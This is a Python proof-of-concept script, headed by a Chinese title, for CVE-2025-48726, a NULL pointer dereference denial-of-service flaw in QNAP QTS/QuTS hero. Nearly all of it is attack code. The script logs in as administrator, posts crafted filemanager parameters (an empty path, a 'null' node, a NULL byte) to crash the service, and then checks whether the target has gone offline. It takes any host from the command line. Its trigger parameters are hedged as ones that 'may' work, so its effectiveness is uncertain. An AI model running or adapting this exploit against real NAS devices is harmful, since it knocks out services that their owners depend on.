CVE-2025-48726 QNAP操作系统空指针解引用拒绝服务漏洞

# CVE-2025-48726 - QNAP NULL Pointer Dereference DoS PoC # This PoC demonstrates the concept of triggering a NULL pointer dereference # on vulnerable QNAP QTS/QuTS hero systems to cause denial of service. # Note: Valid administrator credentials are required. import requests import sys import socket TARGET_HOST = "192.168.1.100" TARGET_PORT = 8080 # QNAP default web management port USERNAME = "admin" PASSWORD = "password123" def exploit_null_pointer_dereference(host, port, username, password): """ Exploit CVE-2025-48726 NULL pointer dereference vulnerability to trigger DoS on QNAP QTS/QuTS hero systems. """ base_url = f"https://{host}:{port}" session = requests.Session() session.verify = False try: # Step 1: Authenticate as administrator login_url = f"{base_url}/cgi-bin/login.cgi" login_data = { "user": username, "pwd": password, "group": "admin" } print(f"[*] Authenticating to {host} as {username}...") resp = session.post(login_url, data=login_data, timeout=10) if resp.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Send crafted request to trigger NULL pointer dereference # The vulnerable endpoint fails to validate pointer before dereference vuln_url = f"{base_url}/cgi-bin/filemanager/index.html" # Crafted parameters designed to trigger NULL pointer dereference crafted_params = { "func": "get_listing", "path": "", # Empty path may cause NULL pointer "node": "null", # Invalid node reference "type": "\x00", # NULL byte injection "mode": "list" } print("[*] Sending crafted request to trigger NULL pointer dereference...") resp = session.post(vuln_url, data=crafted_params, timeout=10) print(f"[*] Response status: {resp.status_code}") print("[+] If target is vulnerable, service may crash now") # Step 3: Verify DoS by checking service availability try: check = session.get(f"{base_url}/", timeout=5) print(f"[*] Service still responding: {check.status_code}") except (requests.exceptions.ConnectionError, requests.exceptions.Timeout): print("[+] Service appears to be down - DoS successful!") return True return False except Exception as e: print(f"[!] Error: {e}") return False def check_vulnerability(host, port): """Check if target port is open and service is reachable""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((host, port)) sock.close() return result == 0 except Exception: return False if __name__ == "__main__": if len(sys.argv) >= 2: TARGET_HOST = sys.argv[1] if len(sys.argv) >= 3: TARGET_PORT = int(sys.argv[2]) print(f"[*] Target: {TARGET_HOST}:{TARGET_PORT}") if not check_vulnerability(TARGET_HOST, TARGET_PORT): print("[-] Target service not reachable") sys.exit(1) exploit_null_pointer_dereference(TARGET_HOST, TARGET_PORT, USERNAME, PASSWORD)